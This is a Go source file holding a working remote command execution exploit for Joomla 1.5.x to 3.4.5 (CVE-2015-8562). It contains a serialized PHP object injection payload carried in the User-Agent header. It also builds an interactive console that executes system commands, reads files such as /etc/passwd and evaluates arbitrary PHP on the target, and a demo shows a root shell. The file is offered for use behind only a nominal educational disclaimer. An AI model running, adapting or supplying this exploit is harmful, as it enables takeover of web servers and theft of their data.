package main

/*
**************************************************************************
* Exploit Title: Joomla 1.5.x to 3.4.5 Object Injection Exploit
* Exploit Author: Khashayar Fereidani ( http://fereidani.com )
* Version: 1.5.x to 3.4.5
* CVE : CVE-2015-8562
**************************************************************************
* THIS EXPLOIT PUBLISHED ONLY FOR EDUCATIONAL PROPOSES ANY ILLEGAL USAGE
*                     IS ON YOUR OWN RESPONSIBILITY
**************************************************************************
* How to run : (you need golang compiler from golang.org)
* go run exploit.go http://target/path
* or
* go build exploit.go
* ./exploit http://target/path
**************************************************************************
* DEMO :

$ ./exploit 192.168.1.113/joomla
###############################################
# Joomla Remote Command Execution 0day Exploit
# Exploited by: Khashayar Fereidani
# http://fereidani.com
# Vulnerable Versions: 1.5.x to 3.4.5
###############################################

Attacking to  http://FILTERED.TLD/joomla/
Target is vulnerable !
# Command Line Documentation :
read FILEPATH      read file from FILEPATH
dir DIRPATH      list directory in DIRPATH
exec COMMAND      execute system command
eval phpcode      evaluate PHP Code
help        display this help
exit        close exploit console

[*] Examples:
read /etc/passwd
dir /etc/
exec ls -lah
eval include('/etc/passwd')


root@joomla:$ exec uname -a
Linux vm2.local 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
root@joomla:$

 */

import (
  "fmt"
  "net/http"
  "regexp"
  "os"
  "io/ioutil"
  "bytes"
  "net/http/cookiejar"
  "net/url"
  "bufio"
  "strings"
)


var target string;


var helpString=`# Command Line Documentation :
read FILEPATH      read file from FILEPATH
dir DIRPATH      list directory in DIRPATH
exec COMMAND      execute system command
eval phpcode      evaluate PHP Code
help        display this help
exit        close exploit console

[*] Examples:
read /etc/passwd
dir /etc/
exec ls -lah
eval include('/etc/passwd')

`

var validHttpUrl=regexp.MustCompile("^http[s]{0,1}://")

var resultRegex=regexp.MustCompile("(?sm)iMH3r3=(.*)")

var cmdRegex=regexp.MustCompile("(\\w+)\\s(.+)")

var newLine=regexp.MustCompile("[\\n\\r]")

var client *http.Client

func newRequest(command string) *http.Request{
  values:=url.Values{}
  values.Set("1","echo('iMH3r3=');"+command+";")

  req,err:=http.NewRequest("POST",target,bytes.NewBufferString(values.Encode()))

  if err!=nil{
    panic(err)
  }

  req.Header.Set("User-Agent",`123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:43:"eval($_POST[1]);JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}`+"\xf0\xfd\xfd\xfd")
  req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
  return req
}


func escape(str string) string{
  return strings.Replace(str,"'","\\'",-1)
}


func runCommand(command string){
  res,err:=client.Do(newRequest(command))

  if err!=nil{
    fmt.Println(err.Error())
  }else{
    defer res.Body.Close()
    resBytes,err:=ioutil.ReadAll(res.Body)
    str:=string(resBytes)

    if err!=nil{
      fmt.Println(err)
    }
    match:=resultRegex.FindStringSubmatch(str)
    if len(match)>0{
      fmt.Print(match[0][7:])
    }
  }

}


func confirm() bool{
  res,err:=client.Do(newRequest(""))

  if err!=nil{
    fmt.Println(err)
    return false
  }else{
    if res.StatusCode==500{
      fmt.Println("Patched PHP Version :( !")
      return false
    }
    defer res.Body.Close()
    resBytes,err:=ioutil.ReadAll(res.Body)
    str:=string(resBytes)

    if err!=nil{
      fmt.Println(err)
    }
    match:=resultRegex.FindStringSubmatch(str)
    if len(match)>0{
      return true
    }else{
      return false
    }
  }
}

func main(){
  fmt.Print(`###############################################
# Joomla Remote Command Execution 0day Exploit
# Exploited by: Khashayar Fereidani
# http://fereidani.com
# Vulnerable Versions: 1.5.0 to 3.4.5
###############################################
`)
  options := cookiejar.Options{}

  jar, err := cookiejar.New(&options)
  if err != nil {
    panic(err)
  }

  client = &http.Client{
    Jar:jar,
  }



  if len(os.Args)<2{
    fmt.Println("Insufficient input , please run ./exploit http://targeturl/path/")
    return
  }

  target=os.Args[1]
  if(!validHttpUrl.MatchString(target)){
    target="http://"+target
  }

  if string(target[len(target)-1])!="/"{
    target+="/"
  }

  fmt.Println("Attacking to ",target)


  res,err:=client.Do(newRequest(""))
  if err!=nil{
    fmt.Println("Request Error:",err)
    return
  }
  ioutil.ReadAll(res.Body)
  res.Body.Close()

  if confirm(){
    fmt.Println("Target is vulnerable !")
    //runCommand("system('ls -la')")
    stdinreader := bufio.NewReader(os.Stdin)

    fmt.Println(helpString)
    for {
      var line string
      fmt.Print("root@joomla:$ ")
      line,_=stdinreader.ReadString('\n')
      line=newLine.ReplaceAllString(line,"")
      match:=cmdRegex.FindStringSubmatch(line)
      if len(match)<3 {
        if (line=="exit"){
          return
        }

        if !(line=="help"){
          fmt.Println("Wrong input !")
        }

        fmt.Println(helpString)
      }else{
        cmd:=match[1]
        input:=escape(match[2])
        switch cmd {
        case "exec":
          runCommand("system('"+input+"')")
        case "read":
          runCommand("readfile('"+input+"')")
        case "dir":
          runCommand("$a=scandir('"+input+"');foreach($a as $v){echo $v.\"\\n\";}")
        case "eval":
          runCommand(match[2])
        }
      }
    }
  }else{
    fmt.Println("Target is not vulnerable!")
  }


}